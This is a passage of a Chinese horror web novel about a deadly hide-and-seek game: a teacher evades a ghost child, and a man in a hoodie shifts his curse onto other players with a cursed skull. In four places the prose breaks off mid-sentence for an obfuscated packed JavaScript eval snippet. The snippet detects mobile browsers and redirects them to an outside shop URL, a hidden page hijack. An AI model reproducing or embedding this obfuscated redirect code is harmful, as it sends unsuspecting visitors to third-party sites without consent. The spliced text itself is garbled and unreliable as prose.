孟熙宁的视线没有一直落在对方身上,而是短暂瞟过,就看向了前方空地。 心里的念头却一直没停下来过。 这么厉害的道具不可能没有限制,就像是菜刀,虽然有加成,但不算太夸张,而且致命一击只对不高于她等级的存在才有用。 卫衣男得到的骷髅头,怎么可能十项全能呢? 孟熙宁心头一转。 该不会……是次数限制吧? 卫衣男此时正抬头望向二楼的方向,好像这样就能看到那个爆炸声传出来的房间里发生了什么。 同时,他还有些害怕。 第一轮躲进水缸里,他差点儿就被发现了。 但运气爆棚的他直接在水缸里摸到了那个骷髅头,才刚一接触,那东西就被腕表自动收走: 【一个死人头: 缩头的龟男,最喜欢的就是把错误怪罪到别人头上啦! 佩戴此道具,可以将自身的一种负面状态转移给另一人。 生效条件:标记过目标任务的长相和声音,双方等级差距不超过三。 注意: 1.标记强者,失败概率增大,失败后原负面效果会加倍反噬; 2.每一个游戏副本内,只能有三次使用机会。】 东西一拿到手,卫衣男就大喜过望,直接将当前状态转移给了之前那个在所有人面前刷了一波存在感的怪人。 本来像是感受到卫衣男气息的小鬼,果然没有继续走进厨房,而是转身去了二楼。 看到第一轮游戏里死的就是自己标记的那人,卫衣男可不知道小鬼在找到这人之前,还在孟熙宁那儿吃了一波瘪,只暗中得意: 还好他的道具够厉害! 有了这东西,后面两局也稳了! 第二轮,他看到了那个被人掀起的床板,里面正是一具无头尸骨。 他瞬间就将其和自己得到的那个头颅联系到了一起。 本来想叫停那个最先发现尸骨的女玩家,一是借机做个标记,二是试探一下对方是不是在尸骨上得到了什么好东西。 没想到那女人警惕心还挺强,头也不回就跑了。 连脸都没看清楚,更别说是声音标记了。 于是,在躺进床箱的那一刻,发现自己的状态突然变成了【被诅咒】,后面还跟着一个倒计时。 卫衣男想也不想,就将状态转移给了刚才开口交谈过的一个玩家。 才刚转移过去的瞬间,爆炸声响起。 不。 他甚至不太肯定,到底是自己的确认转移先完成,还是爆炸声先响起的。 不过,现在站在这里的三个活人玩家中,已经没有了被他标记的那位。 又死了一个。 卫衣男心里松了口气,忍不住又摸了摸帽子里兜着的宝贝。 还好有它! 他偷偷去打量除了自己的另外两个玩家,特别是那个年轻女生。 上一轮就让她跑掉了。 没想到,这女玩家脸上又被蒙了起来,眼神里也满是疏离,根本不打算和他们靠近。 这人不好搞。 卫衣男犹豫片刻,就把注意力放在了另一个人身上。 他凑过去,想套个近乎让对方开口说话,谁知那人就跟躲瘟疫似的往后连退好几步,怎么也不肯让他靠近。 卫衣男满脸疑惑。 怎么回事?难道对方知道自己的道具效果了? 实际上,对面这位只是被二楼的动静吓破了胆,总觉得人凑在一起就会倒霉。 还好他刚才及时逃离了二楼,否则,此时也是死亡名单上的一个了。 现在一见卫衣男凑过来,他第一反应就是躲! 孟熙宁作为能在几十个学生里一眼发现哪个学生上课在走神、哪个学生在偷偷埋头吃东西、哪个学生又在看似做题实则玩游戏的老师,很快就注意到了卫衣男看过来的眼神。 本就已经有所防备的她,当然不会给对方任何靠近的机会。 她立起衣领遮住半张脸,特意拿出全部的教师威严,摆出一副生人勿进的表情,成功让那位转移了目标。 每一轮的游戏时间都很紧张,选一个好啃的目标,自然是比死磕一块石头强。 只是…… 能活到第三轮的,再不济也不缺心眼子。 另一位玩家显然也不太给这卫衣男“面子”。 不知道这样,他的那个骷髅头还有用吗? 没等孟熙宁得到答案,伴随着铃铛声,小男孩有一次出现了。 他手中的纸灯笼上喷溅的红色面积更大了,倒是他的衣服看着还好,并没有沾染上鲜血。 他这一次没有拖来别的尸骨,也不知道是前面吃饱了,还是别的什么原因。 在他出现的瞬间,电子音宣布第三轮有些开始的倒计时就出现了。 孟熙宁尽力忽视了那双不停打量他们三个玩家的眼睛,屏气凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129257|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,在心里默念着倒计时的数字。 在最后一声响起后,她直接甩开后面两人,飞快地掠过了中间空地上已经闭上了眼睛的小鬼,冲进一楼最后一个房间。 按照前面的节奏,这样一来,三轮游戏过程中,她就把两层楼一共六个房间都看过一遍了。 虽然通关任务里没有说要搜集什么信息。 但她反正就是要寻找藏身地点的,顺带多搜集些信息,也是有备无患。 另外两人,却是立刻往二楼跑去。 小鬼已经率先从二楼检查过两轮了,第三轮有很大可能从一楼找起! 有了前面的两轮游戏,现在剩下的完好的藏身地又少了几个,他们可不敢耽搁时间,就想赶在前面先占据一个好位置。 孟熙宁倒是乐得他们先走一步,免得那卫衣男待在她旁边,她还需要分出一部分心神去提防对方是不是会偷偷下黑手。 一楼最后一个房间,是一个简单的茶室。 茶室里有一扇窗户。 孟熙宁过去看了一下,发现这是一扇假窗户,根本打不开,更像是一副挂在墙壁上的画像,只不过画的是一扇逼真的窗。 茶室中间是一张长桌,桌下空荡荡的,没有可以藏人的地方。 靠墙的是一整面墙的小格子木架,摆放着各种茶具和照片。 照片上几乎都是一对夫妻的脸。 从年轻时的稚嫩,到婚后的成熟。 男人越来越胖,头顶也越来越秃,脸上挂着的笑容越来越油腻。 女人却是越来越憔悴,眼里的神采肉眼可见的一点点消失了。 长桌上摆放着一张铭牌,上面写着龟田的名字,看来应该是那个男主人了。 而长桌边,还放着两个小相框,一个是两人的结婚照,照片中的女人看上去状态要比架子上后期的那些好上许多,还能看到几分隐约的笑意。 另一个明显是一张被专门裱起来的B超照。 下方用娟秀的字迹写了一行小字: 永远爱,长寿郎。 看上去,真是幸福的一家人啊! 可就在这茶室旁边,那个小小的储藏室里,却摆放着一张单人小床,床上还有女子为婴儿做的手工品。 房间的门都被破坏了,根本无法锁上,甚至无法合在一起。 而且目前这几个房间,几乎都没有窗户。 除了客厅以外,也就婴儿房有一个小得可怜的天窗。 这可不像是和谐有爱的一家三口会住的地方。 孟熙宁走到桌子前,伸手摸了摸照片。 果然,稍微转换一下角度,微弱的光线照射到相框的玻璃上,就发现,看上去代表了爱的相框,实际上早就已经摔碎了,只是被人又拼接到了一起。 细细触碰,玻璃上都是裂纹。 只是房间里光线不算明亮,不注意的话根本看不清楚。 哦豁。 孟熙宁面无表情地把照片放回原地,确认没有别的东西了,直接上了楼。 还差一个房间没看过了。 至于小鬼这最后一轮是先从一楼找还是二楼找? 无所谓。 先后顺序不重要,藏不藏得好才是关键! 她前两轮可都是第一个被找上来的。 9. 暴怒小鬼 刚一进房间,孟熙宁就知道之前为什么那么多人会选择藏在这里了。 和其他几个布置单调的房间相比,这里的东西要齐全许多,不仅有一张实木大床,还有一排完整的衣柜,另一边甚至放满了一面定制书柜。 正对着门口的,是一张带储物空间的书桌,不仅桌下有柜子,桌上的置物架旁,还安装了一个带保险箱的柜子。 那保险箱块头不小,可以直接塞进一个人了。 更关键的是,这屋里居然有一扇真正的大窗户! 她试着过去开了一下,和之前在一楼茶室里看到的那幅画不同,这扇窗是能打开的。 只是,窗外都是一片白雾。 孟熙宁壮着胆子爬到桌子上,往窗外看了一眼。 靠近二楼窗户这边还好,至少墙面还是能看见的,而白雾距离墙面,大概有二三十厘米。 位置越是往下,白雾离墙就越近。 到一楼一半高度时,已经完全看不清楚房屋的墙面和一楼院子的地面,全是白茫茫的一片。 她抬头往上看了看,这边雾气和窗台边倒是差不多,但仅限于从上窗沿到屋檐。 在往上,就整个儿被白雾贴合笼罩了。 孟熙宁心里有种直觉——这白雾很危险。 这倒不纯粹是因为什么第六感,还有一部分来源于对这个房间的分析。 书柜那边有一大片炸开的血肉痕迹,和游戏开始前的那场“人体烟花”留下的痕迹很像。 根据现场残留的面积来看,最多也就是一个人死在这种爆炸中。 打开的柜门里,还有一具穿着衣服的白骨。 看那伸手匍匐的动作,很像是正要往外爬,就突然变成了这个样子。 那么,还有两个人呢? 这个房间她看过了,不像是还有尸体藏起来的地方。 而且,上一轮结束后,也没见那小鬼拖出那两人的尸体。 在她上楼时,已经看到了二楼楼梯口,从上方打开的天花板口子里掉下来的“两条腿”。 准确地说,是两条空荡荡的被血染红的裤腿。 只是裤脚被塞进了鞋子里,这样吊在半空中,就像是有个人趴在天花板的隔层里一样。 按照上轮游戏结束的情况来看,这位才是最后被小鬼找到的“替死鬼”玩家。 这样一来,房间里不知所踪的两个人……有很大可能是和这能打开的窗户有关了。 孟熙宁能想到的,就是这白雾。 她小心收回了视线,左右的衣柜和书柜看上去都不太合适。 这边的柜门都不是推拉式的设计,想要和上一轮一样利用视觉盲区是不可能的。 而柜子里,倒是可供躲藏的地方很大。 但她作为一个成年人,钻柜子还能比一个小孩子方便? 孟熙宁直接看向了书桌边的那个保险柜。 那两个不见踪影的玩家,会是为了争夺这个地方,才出现意外的吗? 她回想了一下当初的爆炸声,将自己代入进去。 当身边的人突然惨死,而且还发出了足够将怪物引来的巨响后,自己一定会抓紧时间转移到下一个藏身地。 联系到规则里的距离限制,那不仅不能出这个房间,可供选择的地方也就只剩下这个保险箱了。 她试着去打开保险箱。 这玩意儿居然不是上锁状态。 它甚至不是一个正常的保险箱! 一拉开箱门,孟熙宁就感觉里面的空间容量不太对。 果然,她朝下敲了敲,发现是空心的。 往右一推,那保险箱的底板就被推开了,露出了下方的空间!而且,板子的左边还挂了一把打开的小锁,连小锁的钥匙都掉在锁上没有取下来。 看锁头,既能从外面上锁,又能从里面上锁。 所以,这地方才是真的隐藏秘密的“保险箱”,外面那个只是一个掩护而已。 而新找到的地方,挤进去一个人,绰绰有余了,还能在躲进去后自己动手从里面锁上,外面几乎很难发现。 孟熙宁眼睛一亮,注意倒计时就要结束,正要往里面钻。 可下一刻,她的动作停了一下,突然转了个方向,往紧贴这边的窗户冲了过去。 才刚踩上窗台,童谣的声音就停了下来。 孟熙宁心头一跳。 还好,距离够的! 为了防止那小鬼和上一轮一样突然“闪送”过来,孟熙宁都来不及去多做心理准备,一个用力,抓住窗沿上突出的一点儿地方,就是一个提臂,将自己整个人拔高而已。 与此同时,外面传来了“咚咚咚咚”的跑动声,连铃铛摇晃的频率都变高了,明显是那小鬼正提着纸灯笼飞速跑来。 哪怕没有用上一次的闪送功能,这速度也着实不慢了。 在孟熙宁的脚尖从窗外消失的那一刻,小鬼提着纸灯笼的身影就已经出现。 “哈!” 小鬼那张骇人的嘴已经提前裂开了。 一想到自己终于能逮到那个老是错过的玩家,他就忍不住高兴起来。 之前两轮游戏,他几乎每一次都能知道这些玩家藏在哪里。 毕竟,游戏规则是有制衡的。 玩家们能有自由活动时间,他就能给他们时间限制。 两层楼可以藏身的地方不少,那躲藏的过程中,玩家就必须和他一起唱童谣! 他的耳朵可好使了,当然能够听出他们在哪个方位。 可是,有一个玩家,有一个女性玩家! 他明明能够听到她的声音的,明明确认她就在哪个房间里,他明明找对地方了的! 但不知道为什么,每一次都无功而返。 要不是不能直接把整个房子给拆除了,他恨不得将那些碍事儿的东西全部炸掉!就不信那个人类掉不出来。 还有那个把自己埋进缸里的玩家,哼!别以为使用了道具他就不知道了。 不过是放着让他在脏东西里面多难受难受,还真以为自己藏得很好? 小鬼提着灯笼,一步一步走进了房间。 上一轮就来过这里,能藏身的地方就那么多。 他很快就确认,两边的柜子里没人。 小鬼的视线落在了前面的保险箱上。 他无声地靠近了那里,灯笼上的铃铛却还是不受他控制似的,刚一移动就“叮叮当”地响了起来。 小鬼“唰”地一下打开了保险柜。 里面自然是空的。 他却没有露出太失望的神色,而是注意到了那个带小锁的底板。 小鬼脸上裂开的嘴上扬的弧度越来越明显,就像是要把他的整张脸给直接撕裂成两半,露出一口和猛兽一样尖锐的牙齿,上面全是鲜红的血。 “找到你咯!” 他将小小的手掌按了上去。 惨白的肤色衬得那底板更黑了。 “唰……” 保险柜的底板朝着右边被推开了,上面吊着的小锁摇晃了一下,砸在柜子上发出“咚咚”两声想。 小鬼已经能想象到,那个人类蹲在里面仰头看到自己时,那恐惧而扭曲的表情了。 他享受地眯起了眼睛,慢慢将脸贴近,踮着脚,胳膊趴在书桌上,将整个脑袋完全塞进了保险箱里,力求让自己的脸直接从下方藏身空间的正上方出现! 小鬼甚至已经将状态调整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129258|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,森冷的表情都已经摆了出来。 谁知…… “没人?怎么会没人呢!” 熟悉的控告声这一次不只是在心里出现,而是忍不住开口吼了出来。 没错。 这里面根本没有藏人! 他预想中的战利品没了! 原本上扬的嘴角,直接往下耷拉下去。 气恼至极的小鬼几乎失去了理智,一仰头就想发疯砸碎桌子。 但他仿佛忘记了自己现在脑袋还塞在保险箱里呢! 一个仰头,脑袋就撞上了保险箱的顶部。 只是,他的脑袋显然硬度还挺高,至少,比那个用来做掩饰的保险箱要抗造许多。 所以,只听“哐当!”“砰!”的一连串响声后,他的脑袋直接穿过了上头这个保险箱的顶部,脖子卡在了里面。 小鬼:…… 啊啊啊! 本来就气急败坏的他,此时更是和一个被人惹恼了的小孩子一样,就是破坏力大出了好几倍。 他一把拽下卡在脖子上的破烂金属箱子,用力甩到另一边。 那箱子在地上滚落两圈,发出了“哐哐哐”的声音。 这屋里藏在另外的地方的两个玩家,听到这边不停的声音,还有小鬼发怒的吼声,都被吓得一个哆嗦。 怎么回事? Boss怎么还有爆种阶段? 不会变得更凶残了吧? 难道他准备直接把整个房子给拆了吗? 这样的话,他们不管藏在哪儿都没用了! 小鬼此时已经提着灯笼,站到了书桌边上。 他那张惨白的脸,这会儿都被气得要变了形。 他没有离开这个房间,而是继续往旁边找去。 连之前被他判定为没有人的两边的柜子也没有放过。 大概是已经拆了一个箱子了,债多了也不愁,就算是拼着被惩罚,也必须要出了这口恶气。 所以,这小怪物还真的开始了拆家行为。 两边的衣柜和书柜很快变成了两堆残渣。 如果孟熙宁刚才藏在这些地方,此时肯定也要变成一堆碎肉了。 就是这样,也没找到人。 小鬼看来看去,只剩下了那扇窗户。 他“噔噔噔”跑到窗边,一双小短腿拼命往上垫,脑袋终于能看到窗边了。 外面的白雾漂浮,散发出幽幽的冷意。 刚才还很情绪上头的小鬼,好像一下子就被这白雾给弄清醒了。 他往楼下飞快地瞟了一眼,就立刻缩回了头。 拆家里一两样东西,和彻底破坏规则可不一样。 墙外没有人。 楼下…… 如果摔进白雾里,根本用不着他动手,那人必死! 难道真死了? 不是死在他手里的玩家,那就只能等到这一轮游戏通报存货人数时才能知道了。 可惜……没让他吃到那可恶的女玩家的肉! 他一定会狠狠咬碎她的头颅! 小鬼气冲冲地离开了这个房间。 就跟解锁了似的,不再像之前一样装模作样地配这些人类玩藏猫猫游戏,而是直接一路暴力拆迁,往之前听到的声音方向推进过去! 二楼窗外。 孟熙宁整个人和壁虎一样,躲避在窗沿上方到屋檐下的这段空隙内,身体和墙面贴合在一起,不留一点缝隙。 规则里说了,这栋二层小楼就是游戏场地。 可没说一定要在房子里面。 这部分没有白雾的空间,怎么就不能利用了呢? 她跟房子挨得紧紧的,怎么能不叫在游戏场地里呢? 10. 卫衣男被发现了 感应到那小鬼越走越远,并没有和之前一样来个回马枪的打算,孟熙宁也是松了一口气。 还好,这小鬼个头不高,而且对窗外的白雾有几分忌惮。 而她也的确赌对了。 虽然待在外面,总感觉毛骨悚然,有种随时可能会死掉的危机感。 但大体而言,还算安全。 她时刻关注着周围的白雾,但凡有什么不妥,她就会立刻从窗户钻进去,回到房间内,然后躲到那个保险箱下方的空间里。 已经被检查过一次的地方,加上连保险箱都被破坏了,那小鬼多半不会再在这种没用的地方浪费时间。 毕竟游戏规则里就有半米的距离限制。 刚才没在这个房间里发现孟熙宁,在小鬼的视角里,孟熙宁就不可能再从其他地方又跑到这个房间里来躲藏。 这一轮的安全性,还是有保证的。 现在就看另外两位了。 卫衣男这一轮本来上了二楼,但从第一个房间到最后一个房间,没有一个合适! 第一个才刚进去,就看到了那个看着就不吉利的女尸,一看那衣服的样式,就是这个地方的原住民。 谁知道会不会突然暴起杀人? 或者直接在那小怪物找过来时,给他指路。 第二个房间大片的血,还有一具由玩家变成的白骨。 一看到那骨头的样子,卫衣男就一阵心虚。 他上一轮游戏将“被诅咒”的状态转移了出去,当时以为是那声爆炸,如今看到二楼的情况,却和想象中不太一样。 炸开的血肉明显是另一个人的。 而看白骨上穿着的衣服,这位才是被他转移了诅咒的玩家。 所以…… 当时他但凡是慢了一点点,如今变成白骨的就是自己了。 卫衣男一点儿也不觉得后悔或者惋惜,只庆幸自己动作够快。 当然了,他是肯定不会在这个房间里待着的。 不能用常理来解释的游戏都出现了,小鬼也有了,万一死去的人会复活成亡灵呢? 他可不愿意呆在这里。 再去第三个房间,同样血肉模糊。 柜子的门都开着的,里面还有人体的残渣在,一看就知道第一轮的玩家是怎么被那小鬼从里面拽出来的。 不安全! 这地方根本就不好藏人! 卫衣男只纠结了片刻,立马就又从二楼跑到一楼了。 此时时间已经不多了,当时小鬼还提着灯笼闭着眼睛站在空地没动。 卫衣男对其他地方也不算了解。 时间也不够他再绕过中间的小鬼去另一边孟熙宁检查过的茶室观察有没有藏身处了。 所以,他干脆直接冲去了厨房。 那大水缸第一轮没有被发现,现在还能再用! 而且,臭味已经被转移给别的玩家,虽然那人已经死了,但从自己现在身上还是没有气味的状态来看,道具的效果依旧有用。 卫衣男憋足了一口气,小心站到水缸中,慢慢地蹲了下去,任凭这臭烘烘的液体埋没自己的头顶。 倒计时结束后,感知到头顶出现了小鬼的脚步声,紧接着就是怒吼和砸动东西的动静,卫衣男一边心惊胆战,一边又忍不住有几分高兴。 又是从二楼开始! 他不知道这小鬼是不是对二楼有什么执念,老是喜欢往二楼跑。 但是,这对他来说是好事啊! 剩下的两个玩家都去二楼了,那小鬼好像很擅长找人,找那两个成功的概率,难道还不大吗? 这样一来,自己就安全了! 刚这么想没多久,他就感觉那拆迁一样的动静离自己越来越近了。 不……不会吧? 到,到一楼来了? 卫衣男抖了抖,水面上浮出了一个泡泡。 “叮……叮……当……” “叮……叮……当……” 铃铛的响声越来越近。 他感觉,那玩意儿好像真的往厨房来了,甚至已经到了厨房里! 不好。 不好! 卫衣男不知道这是怎么回事。 明明腕表上他的个人信息里也没有什么额外的负面状态标注了啊,怎么会把在二楼发狂的小鬼给吸引过来呢? 是水缸! 对,一定是水缸的臭味! 只要再转移一次,他就能再次平安了! 卫衣男立刻开启了头骨的第三次转移效果,也是这个道具在这个游戏关卡能用的最后一次机会。 还好,刚才上楼时他紧紧跟在了那个胆小的玩家后面。 虽然那人极力想要离自己远点,但自己的个头可比那家伙高出太多,体力也更好,很容易就追了上去,甚至故意在上楼时将对方绊了一下,又伸手去扶住了。 在快摔倒的时候,人总是会不受控制叫出声来的。 借着这个机会,卫衣男得到了自己需要的条件。 在这一刻,成功将自己的状态转移给了另一个玩家。 战战兢兢藏在二楼的另一个玩家,此时正趴在二楼第一个房间里。 她躲藏的方式,和孟熙宁当时有些相似。 没错,这个玩家竟然是个女生。 只是剪了一头短发,穿着风格上又像个小男生,所以几乎看不出本来的性别。 实际上,却是个身形纤细的女孩子。 她没有选择躲在衣柜中,而是……将自己藏在了那具女尸的衣服里! 这女尸的衣服十分宽大,白骨又很小巧。 加上还有那一头又长又浓密的黑发,对这个玩家来说,的确是有可以遮挡的空间的。 她当然也怕尸骨。 可上一轮游戏让她对活人聚集更加抵触,反而更愿意接近这骨头了。 她钻到衣服里,将白骨摆放在自己身上,那些头发也整理了一遍,仔细遮住其他地方。 这样一来,乍一看,还真不知道她旧藏在这里。 在听到小鬼暴怒的动静时,这玩家也吓得直打哆嗦。 没想到,那小鬼居然绕过了这个房间,下一楼去了! 她正觉得庆幸,便感觉周身一阵恶臭传来。 像是什么东西腐烂了,又在密闭的容器里沤肥,酝酿出来的气味炸弹! “呕!” 猝不及防下,她干呕了一声。 好在那小鬼如今在一楼,否则她就完蛋了! 这玩家哆嗦了一下,赶紧转移注意力,克制住身体的反应。 肯定是刚才那个男人! 对。 没错。 第一轮也有这股味道! 一模一样。 这玩家也不笨,很快就将第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129259|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一轮死掉的玩家身上的臭味,和那个卫衣男明明浑身脏兮兮却毫无味道的异样,跟自己现在的情况联系了起来。 果然,那人就没安好心! 她懊悔自己刚才没能跑快一些,一定是上楼的时候被人做手脚了。 现在懊恼也已经来不及,她只能祈祷,小鬼在一楼找到了这一轮的替死鬼。 否则…… 她如今这么明显的味道,放在这样根本没什么遮挡的空间里,只要那小鬼找来,一切都完了! 卫衣男此时心情却跟她恰好相反。 察觉道具生效的那一刻,他就完全放松下来,根本不担心自己被发现了,甚至已经蹲在水缸里开始等待着脚步声离自己远去。 毕竟,第一轮游戏时就是这么发展下去的。 这一次,他理所当然地认为一切还会照旧进行。 却不料,下一刻,伴随着“叮叮当当”的铃铛胡乱晃悠的声音,一只手穿破水面伸了进来。 卫衣男感觉自己头顶的头发被一阵巨力拽着往外拉去。 他这样的块头,都没有挣扎的力道,就被整个人拖了出去。 巨大的水缸倾倒下去。 卫衣男连同水缸里的液体都被倒了出来,连带着他小心藏在帽子的头骨,也咕噜咕噜转了几圈掉在地上。 一只白得发青的脚出现在他的视野里。 那脚轻轻地踩在了狰狞的头骨上,显得那只明显是属于孩童的脚更小了些。 可是,下一刻,“咔嚓”的碎裂声传来。 那头骨被这只没穿鞋子的光脚踩了个稀碎! “Oh No!” 卫衣男惊恐地大叫出来。 这可是他保命的资本! 一切发生得太快,他甚至都还没反应过来自己现在的状况,就被特殊道具的毁灭给刺激地失去了理智。 都没给他继续崩溃的时间,一双小脚踩着那破碎的头骨和一地的脏水走到他面前。 明明地上都是臭烘烘的液体,那脚上却不沾分毫,既没有碰到这些液体,也闻不到这种腐烂的臭味,只有飞溅上去的血液残留着。 一只手抓住了卫衣男的脖子。 刚才水缸里的液体已经很冷了,此时的这只手,更是冰得让人打心底里就觉得寒气森森。 他被这小鬼像是拖死猪一样拽到了另一边。 那双本就大得夸张的黑眼睛,近在眼前后,就更显得诡异了,小鬼咧着嘴,露出沾了血的牙齿,轻轻说道: “找到你咯!” “不,不要……” 卫衣男摇着头,想往后躲。 小鬼却两手抓住了他的脑袋两侧。 他的身体好像被冻麻了,连反抗的动作都做不了,只能僵直地躺在地上。 “咔吧。” 好像有什么声音响了。 温热的液体泼洒在他的脸上,比那两只贴着皮肤的手要暖和多了。 卫衣男有些眷恋这种感觉。 然后,他发现自己的视野变了,好像被人捧了起来。 小鬼的脸再次靠近,嫌弃地打量了他几眼,说道: “果然,一样的丑陋……” 咕噜咕噜。 他被丢到了地上,转动几圈,碰到什么东西后才停了下来。 哦,碰到的,是他的身体啊…… 他的头,掉了? 11. 百科全书 “第一轮游戏结束,目前该副本存活玩家:二……滋啦……游戏报错,数据更新中……” 刚松了一口气的孟熙宁:?? 这怎么还带报错的呢? 虽然好奇原因,但在游戏没有正式宣告结束之前,她是绝对不可能主动离开这个地方半米之外的。 谁知道会不会给她判个犯规? 同在二楼的另一个玩家此时也有些忐忑不安。 另外两个玩家,是谁被找到了? 为什么这一轮有人被找到了,游戏却还不结束? 她正心头惴惴,就听一个温柔的女声在耳边响起: “すみません、私の服から出てもらえますか?(劳驾,你能从我的衣服里出来吗?)” “あなた、ちょっと臭うね!(你有点臭呢)” 这玩家心头一惊,只觉得浑身发毛,立刻就想拔腿而逃。 可此时再想走已经晚了。 原本被她特意放在身上的白骨像是变成了一块如山般的巨石,压得她喘不过气来,根本动弹不得。 而那些本来是用来遮挡身形的黑发,此时也变成了索命的利器。 那些长而浓密的发丝,在这一刻,就跟活了一样,如一条条黑色的长蛇,扭动着,一点一点将她束缚起来。 从脖子,到身体,全都被这密密麻麻的黑发紧紧勒住了。 这女玩家只感觉肺里的空气都要被挤压出来了,一张脸从白到红,再变得青紫,喉咙里溢出些许痛苦的哼声。 “あらっ、すみません、痛かったでしょう(啊,对不起,很疼吧?)” 那温柔的女声又一次响起,说着她听不懂的语言。 但这个女玩家已经没力气回答什么了,甚至感觉不到恐惧,只觉得大脑一片空白。 渐渐的,她的四肢在头发的包裹中抽搐了几下,眼睛慢慢地翻白,就这么一点一点地,任凭自己的生命力流失了。 等到这具身体彻底变冷,那些黑色的发丝才如潮水一般慢慢褪去,露出了那青紫交加的尸体。 女玩家的脸上已经看不出她原本的模样,面部肤色青紫不堪,一双眼睛因为缺氧的痛苦往外凸起。 手指甲都被掀开了,像是死前用力地抓挠过,只是束缚着她的东西韧性远超她的指甲,反而让她伤到了自己。 “扑通。” 那宽大的和服,像一个活物似的,一口将这已经死了的玩家吐了出来,然后才轻柔地包裹住了原本的那具女性尸骨。 “第一轮游戏结束,目前该副本存活玩家:一人。” 熟悉的电子声再次响起。 除了自己以外,全死了? 孟熙宁一愣,又很快打起精神。 她本以为自己会被直接刷新到一楼,没想到周围的场景并没有变化,反而是屋外的白雾突然翻滚起来,瞬间朝屋子逼近。 孟熙宁赶紧从窗户钻进了屋子,正想着是该去楼下还是该继续躲着,就听一阵铃铛声伴随着那阴森森的童谣一起,迅速朝二楼接近。 同时,门外还有一缕一缕的黑影逐渐蔓延过来,像是什么海藻类的东西,看着就不太安全。 孟熙宁心头一惊,直接将收在腕表里的菜刀拿了出来,紧握在手中。 “刷!” 一缕黑色的东西飞快地朝她面部而来。 孟熙宁都没看清楚那东西具体的样子,身体已经自动做出了反应,举起刀迅速往前一挥。 正好斩断了一节黑影。 轻飘飘的东西落在眼前。 这是……头发? 不等她细想,铺天盖地的黑影瞬间暴涨,齐齐朝她淹没了过来。 这攻势,她就算有一把能够增加体质和力量的菜刀,也难以保全自己啊! 这游戏,总不会是故意要把人全都弄死在这房子里吧?! 就在那些黑发即将触碰到孟熙宁的时候,一阵欢快的电子音乐响了起来。 孟熙宁只觉得眼前一花,下一刻,周围的和式建筑已经消失不见,与其一同消散的,还有那些疯狂的黑色长发,和她隐约间看到的那个提着纸灯的小孩子的身影。 此时她正站在一片空白的空间里。 周围什么也没有,白茫茫一片,上不见天,下不着地,周围除了她自己以外,不见一个人影。 她像是漂浮在空中,又像是踩在白雾里,真是一种玄之又玄的处境。 想到刚才的惊险,孟熙宁都忍不住松了一口气。 呼! 差一点。 差一点她就要死在那栋房子里了! “恭喜玩家孟熙宁,成功通过试玩关卡:《笼中鸟》,获得正式玩家身份!” 电子音在这片空白空间里响了起来,就像是在四周安放了许多看不见的喇叭。 而且,比起一开始听到的那个声音,现在这个声音的语气要多出一些起伏,或者说,是多出了几分人味儿,没有那么死板了。 “恭喜正式玩家孟熙宁,激活天赋——《百科全书》!” “恭喜正式玩家孟熙宁,获得特殊道具:鬼母的菜刀!” “正式玩家身份更新成功,数据已加载完成: 姓名:孟熙宁 等级:LV1(50/200依旧是菜鸟一只) 性别:女 年龄:27 所属星球:4474号星系9596号星球(地球) 所属模块:亚洲 天赋:《百科全书》(残缺版) 道具:鬼母的菜刀 体质:7(正常人类的健康体质) 力量:7(有点儿功夫,但还需锻炼) 敏捷:6(总之还当不了神速流刺客啦) 防御:5(哈,脆皮人类一只!碰碰就噶了吧) 幸运值:9(幸运也是实力的一部分,但你的幸运还是太作弊了吧!)” 孟熙宁看向左手手腕上的腕表,果然,这上面现实的内容,也跟着同步更新了,比起她在游戏中仓促看到的内容,要详细许多。 连道具的名字都有了变化。 而且多了具体的身体数据。 这就是正式玩家和试玩玩家的功能区别吗? 孟熙宁正打算细看一下内容,就听电子音突然说道: “即将脱离《笼中鸟》游戏副本,感应到正式玩家孟熙宁的天赋《百科全书》,请问是否使用天赋?” 什么意思? 孟熙宁一头雾水。 在游戏里她曾经点击过天赋,却显示的是未激活。 现在,她根本没有了解过自己的天赋,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129260|196181||http|test|mini|href|location''.split(''|''),0,{})); () { 